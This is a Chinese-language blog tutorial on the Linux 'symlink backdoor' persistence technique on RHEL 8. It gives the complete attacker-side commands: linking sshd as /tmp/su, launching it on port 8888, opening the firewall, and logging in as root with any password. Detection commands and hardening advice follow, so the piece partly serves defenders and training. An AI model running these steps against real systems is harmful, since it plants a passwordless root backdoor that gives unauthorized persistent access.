Linux权限维持(三):服务与网络后门——软链接后门(PAM绕过)

复现环境:Red Hat Enterprise Linux 8

1. 引言

核心思想:服务与网络后门是攻击者最隐蔽的权限维持手段之一——通过修改系统服务配置或替换关键服务程序,让攻击者可以随时通过特定端口或特定条件获得 Shell

本篇内容

  • 软链接后门(PAM绕过):利用 SSH 软链接实现任意密码登录


2. 后门技术详解

2.1 软链接后门(PAM绕过)

原理

在 Linux 系统中,PAM(Pluggable Authentication Modules)负责程序的认证工作。某些 PAM 配置文件(如 /etc/pam.d/su)中包含一行:

auth sufficient pam_rootok.so

sufficient 表示:如果这个模块验证通过,就直接认证成功,不再继续
pam_rootok.so 的作用是:检查当前用户是否是 root,如果是 root,验证通过。

ad1a1b718320260601190839

后门原理
攻击者创建一个软链接,指向 /usr/sbin/sshd,但文件名设为 su。当这个伪造的 su 程序运行时,PAM 会去找 /etc/pam.d/su 的配置,其中包含 pam_rootok.so,而 sshd 通常以 root 身份运行,所以认证直接通过——无论密码是什么。

一句话:用 SSH 程序伪装成 su,骗过 PAM 认证,实现任意密码登录。


操作(攻击者视角)

# 1. 创建软链接
 ln -sf /usr/sbin/sshd /tmp/su 
# 2. 用这个“假su”启动 sshd 服务,监听自定义端口 8888
 /tmp/su -oPort=8888 &
# 3. 从任意机器连接 
ssh root@目标IP -p 8888 
# 输入任意密码(比如 123、aaa、回车),都能登录成功!

注:需要开放防火墙的端口

# 开放 8888 端口
firewall-cmd --add-port=8888/tcp --permanent

# 重新加载防火墙规则
firewall-cmd --reload

# 验证端口已开放
firewall-cmd --list-ports

部分

含义
ln 创建链接命令(link)
-s 创建软链接(符号链接,类似Windows的快捷方式)
-f 强制覆盖(如果 /tmp/su 已存在,就覆盖它)
/usr/sbin/sshd 目标文件(真正的SSH服务程序)
/tmp/su 链接名(在 /tmp 目录下创建一个叫 su 的快捷方式)

效果:在 /tmp 目录下创建一个名为 su 的快捷方式,它指向 /usr/sbin/sshd。执行 /tmp/su 就等同于执行 /usr/sbin/sshd

# 验证软链接 
ls -la /tmp/su 

# 输出:lrwxrwxrwx 1 root root 14 ... /tmp/su -> /usr/sbin/sshd

ad1a1b718320260601191834

第2步:启动后门服务

 
部分 含义
/tmp/su 执行这个软链接(实际执行的是 /usr/sbin/sshd
-oPort=8888 SSH 服务的参数,表示监听 8888 端口,而不是默认的 22 端口

效果:启动一个新的 SSH 服务,监听在 8888 端口,而不是默认的 22 端口。

# 验证端口是否监听 
netstat -tulnp | grep 8888 

# 输出:tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 12345/sshd
 

第3步:连接后门

ssh root@目标IP -p 8888 
# 输入任意密码(比如 123、aaa、直接回车),都能登录成功!
 
部分 含义
ssh root@目标IP 用 root 用户连接目标服务器
-p 8888 指定连接端口为 8888(不是默认的 22)
任意密码 输入任何字符都能登录成功

RHEL 8 注意

  • 默认 sshdsshd 用户身份运行,绑定端口可能需要 root 权限

  • 使用高端口(如 8888)可以避免冲突


检测方法

# 1. 检查是否有异常的 sshd 进程在非标准端口监听 
netstat -tulnp | grep sshd 
ss -tulnp | grep sshd 

# 2. 检查 /tmp 目录下的软链接
ls -la /tmp/su 

# 3. 查看进程树,找出异常的 sshd 父进程
pstree -p | grep sshd ps aux | grep sshd

输出示例(异常)

root 12345 0.0 0.1 12345 5678 ? Ss 10:00 0:00 /tmp/su -oPort=8888

清除方法


4. 防御与加固建议

4.1 软链接后门防御

# 1. 监控 /tmp 目录的软链接创建 
auditctl -w /tmp -p wa -k tmp_symlink

 # 2. 限制 /tmp 目录的执行权限(无法运行 /tmp/su) 
mount -o remount,noexec /tmp

4.2 通用加固

措施 命令
禁止 root 直接 SSH 登录 PermitRootLogin no/etc/ssh/sshd_config
修改 SSH 默认端口 Port 2222
使用密钥登录,禁用密码 PasswordAuthentication no
开启 SELinux setenforce 1

5. 总结

后门类型 原理 特征 排查命令 清除方法
软链接后门 PAM 绕过,任意密码登录 /tmp/su 进程监听高端口 netstat -tulnp | grep su kill + rm -f /tmp/su
         

核心原则

  • 定期检查 file /usr/sbin/sshd,确认是 ELF 二进制

  • 检查非标准端口的监听进程

  • 使用 rpm -V 验证关键文件完整性

  • 开启 SELinux,可有效防御此类后门

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容